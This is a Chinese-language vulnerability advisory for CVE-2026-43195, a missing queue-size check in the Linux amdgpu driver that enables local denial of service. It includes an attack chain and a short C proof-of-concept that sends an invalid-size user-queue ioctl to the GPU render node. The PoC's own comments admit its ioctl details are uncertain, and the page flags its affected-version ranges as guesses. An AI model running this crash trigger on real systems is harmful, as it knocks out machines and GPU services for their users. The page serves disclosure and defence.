IPBUF安全漏洞报告
English
CVE-2026-43195 CVSS 5.5 中危

CVE-2026-43195 Linux内核drm/amdgpu队列验证缺失

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43195
漏洞类型
输入验证错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelInput ValidationDoSdrm/amdgpuLocalGPU

漏洞概述

Linux内核中的drm/amdgpu驱动程序存在输入验证漏洞。该漏洞源于未对用户队列大小进行严格校验,导致未满足硬件约束(如大小需为2的幂且不小于页面大小)的配置被接受。本地攻击者利用此问题可触发GPU故障或异常行为,造成系统拒绝服务。

技术细节

该漏洞位于Linux内核的drm/amdgpu模块,涉及用户模式队列(User Mode Queues)的初始化过程。硬件机制要求队列大小必须是2的幂次方,以便实现高效的环形缓冲区回绕,同时最小尺寸不能低于AMDGPU_GPU_PAGE_SIZE。受影响版本的驱动程序缺少对这些约束的检查代码。本地低权限攻击者可通过DRM接口传递恶意的队列创建请求,指定非2的幂或过小的尺寸值。这将导致GPU在处理队列时发生地址计算错误、内存分配失败或硬件挂起,最终引发系统崩溃或GPU服务不可用。

攻击链分析

STEP 1
获取本地访问权限
攻击者获取目标系统的本地低权限用户访问权限。
STEP 2
识别GPU设备
检测系统是否使用了受影响的AMD GPU及对应的Linux内核驱动。
STEP 3
构造恶意数据
编写程序,通过DRM接口构造包含非法队列大小(如非2的幂)的队列创建请求。
STEP 4
触发漏洞
执行恶意程序,向内核驱动发送IOCTL调用,绕过缺失的验证逻辑。
STEP 5
造成影响
GPU处理非法配置时发生故障,导致系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> #include <drm/amdgpu_drm.h> // PoC for CVE-2026-43195 // This PoC attempts to create a user queue with an invalid size (not a power of two). // Compile: gcc -o poc_cve2026_43195 poc_cve2026_43195.c -I/usr/include/libdrm int main() { int fd = -1; struct drm_amdgpu_user_queue args; // Open the DRM device (render node preferred) fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } memset(&args, 0, sizeof(args)); // Set an invalid queue size (e.g., 3, which is not a power of 2) // Hardware requires power of 2 and >= PAGE_SIZE usually. args.queue_size = 3; args.flags = AMDGPU_USER_QUEUE_MODE_IP_DISPATCH; // Example flag // Issue the IOCTL to create the queue // Note: The actual IOCTL number and struct might vary based on kernel version // and specific backport of the feature. int ret = ioctl(fd, DRM_IOCTL_AMDGPU_USER_QUEUE, &args); if (ret == 0) { printf("[!] IOCTL succeeded, vulnerability might be triggered or validation missing.\n"); } else { perror("IOCTL failed"); } close(fd); return 0; }

影响范围

Linux Kernel < 6.9 (推测,基于修复提交时间)
Linux Kernel < 6.8.12 (推测)

防御指南

临时缓解措施
建议限制非管理员用户对GPU设备文件(如/dev/dri/renderD*)的访问权限,直到内核升级完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表